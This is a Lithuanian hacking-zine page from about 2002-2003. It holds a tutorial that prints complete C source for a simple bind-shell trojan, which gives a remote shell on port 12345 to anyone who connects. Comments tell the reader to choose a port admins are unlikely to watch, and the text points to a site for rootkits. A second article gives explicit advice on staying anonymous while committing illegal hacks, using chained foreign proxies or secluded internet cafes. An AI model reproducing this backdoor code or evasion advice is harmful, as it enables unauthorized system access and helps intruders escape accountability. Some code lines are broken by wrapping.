22. Kaip veikia trojanai
Cia pabandysiu paiskinti kokiu principu veikia trojanai, kaip jie rasomi
etc.
Imkim ir panagrinekim paprasciausia trojana parasyta C kalba:
#include <stdio.h> // iterpiamas standartinio I/O funkciju
headeris
#include <errno.h> // klaidu
#include <signal.h%gt; //signalu. Nezinot kas tie signalai?
Tai kaip jus naudojates kill programa?
#include <stdlib.h>
#include <netinet/in.h> // iterpemi visi headeriu failai
reikalingi dirbti su tinklu, socket ir pan.
#include <sys/types.h>
#include <sys/socket.h>
#include <strings.h> // darbui su eilutem
// Nusirodyk koki tavo trojanas porta naudos, naudok koki standartini-
gali lama adminas pamirses sumaisyt su kokiu ftp_data (20 portas) ar pan
// Kitu atveju naudok koki kita porta kuris maziau stebimas
#define P 12345 // ant prikolo imam netbus porta
#define SH "/bin/sh" // nusirodai koki shella naudos tavo trojanas
#define LISTN 5
int main(int argc, char **argv)
{
//pasveikinimo (welkome) zinute
char *fst = "\nConnected!\n\n";
char *sec = "This tool demonstrated how works trojans\n";
char *thr = "Please enter each command followed by ';'\n";
int outsock, insock, sz; //soketu deskriptoriai, ir pagalbinis kintamasis, kuris saugos eiluciu dydi (size)
//reikalingos dvi soketu sructuros (irasai) in ir out
struct sockaddr_in home;
struct sockaddr_in away;
//set port, proto and bzero for BIND
home.sin_family=AF_INET;
home.sin_port=htons(P); // atkreipk demesi cia nurodomas taviskis portas
home.sin_addr.s_addr=INADDR_ANY;
bzero(&(home.sin_zero),8);
signal(SIGCHLD,SIG_IGN);
// pats idomumas prasideda
if((outsock=socket(AF_INET,SOCK_STREAM,0))<0) // ar su soketais
viskas ore
exit(printf("Socket error\n"));
if((bind(outsock,(struct sockaddr *)&home,sizeof(home))<0)) //
ar bindina ore
exit(printf("Bind error\n"));
if((listen(outsock,LISTN))<0) //ar listina
exit(printf("Listen error\n"));
sz=sizeof(struct sockaddr_in);
// jo cia tai tikrai strukturinis programavimas
for(;;) // o rimciau tai amzinas ciklas
{
if((insock=accept(outsock,(struct sockaddr *)&away, &sz))<0)
//laukiam isoriniu signalu, tuo paciu tikrinam ar nera klaidos
exit(printf("Accept error"));
if(fork() !=0) //jei sukuriam, dukterini (child) procesa
{
send(insock,fst,strlen(fst),0); // siunciam sveikinimo zinute
send(insock,sec,strlen(sec),0);
send(insock,thr,strlen(thr),0);
dup2(insock,0); // nukreipem STDIN (file deskriptos=0) i soketa
dup2(insock,1); // nukreipiam STDOUT (file deskriptos=1) i soketa
dup2(insock,2); // nukreipiam STDERR (file deskriptos=2) i soketa
execl(SH,SH,(char *)0); // paleidziam savo shella
close(insock); // uzdarom soketa
exit(0); // stai ir baigesi musu sudetingas trojanas.
}
close(insock); // jei nejo sukurt dukterinio proceso (ziureti fork()
) tai uzdarom ansyk soketa ie einam lauk.
}
}
Stai taip atrodo pats elementariausias trojanas. O jus turbut manete,
kad tai sudetinga. Siaip sis trojanas ira gan blogas. Jei norite gero trojano
eikit i
http://packetstorm.securify.com
ir isten temkit r00tkit`a. Siuo metu as kaip tik apsistojes ties trojanu
rasymu, kai parasysiu koki krutesni imesiu. Tad laukite.
Kas sake kad lietuviai trojanu neraso?
Kaip anonimizuotis kitu budu/keliu
By Whisperer // whisperer@worldmailer.com for www.underground.lt
Visi nori anonimizuotis. Visi privalo anonimizuotis jeigu uzsiima ne
tik narshymu po puslapius apie geliu auginima, o daro ka nors nelegalaus.
Populiariausias budas proxy servai. Tachiau su vienu nieko nepadarysi.
Jeigu tikrai nori gerai anonimizuotis turi susijungti i grandine proxy1>proxy2>proxy3
etc. Dar geriau jeigu tie proxiai kinietishki, japanski ar dar kokie (sunkiau
susisiekti su ju adminais ir gauti tavo ip adresa)
Tachaiu sparta ziauriai, ziauriai krenta. Ir norint patekti i vilniu
ish kauno gaunasi vaziavimas per klaipeda. Ash siulau kita buda. Mieste
pilna (bent jau Kaune) visokiu internet'o kaviniu ir t.t. Kai kurios labai
nuoshalios ir ten tam tikrom valandom nebuna daug zmoniu (pvz. Sonex'as
savanoriu prospekte prie Juzes). Mokestis iki 6 lt uz valanda. Ateini,
atsineshi savo irankius, savo reikalinga infa, pasedi valandele, nuhackini
ka nors ir pasishalini. Atseks ip adresa nuhackinto servo adminai ir bus
jiems ledas. Aishu jeigu nori galima ir ish ten jungtis per kelis proxius
(paprastai tokiose vietose ryshys boona geresnis nei per dial-up'a) ir
"nuskriausti" adminai tures dar daugiau vargo. Mazai tiketina kad zmogus
prileides tave prie interno atsimins ir gales nupasakoti tavo ishvaizda,
o tavo duomenu jis nezinos. Aishku nebookit durniai neikit antra kart i
ta pachia vieta.
kam daryti sunkiau jei galima lengviau?
® 2002-2003 VaidaZ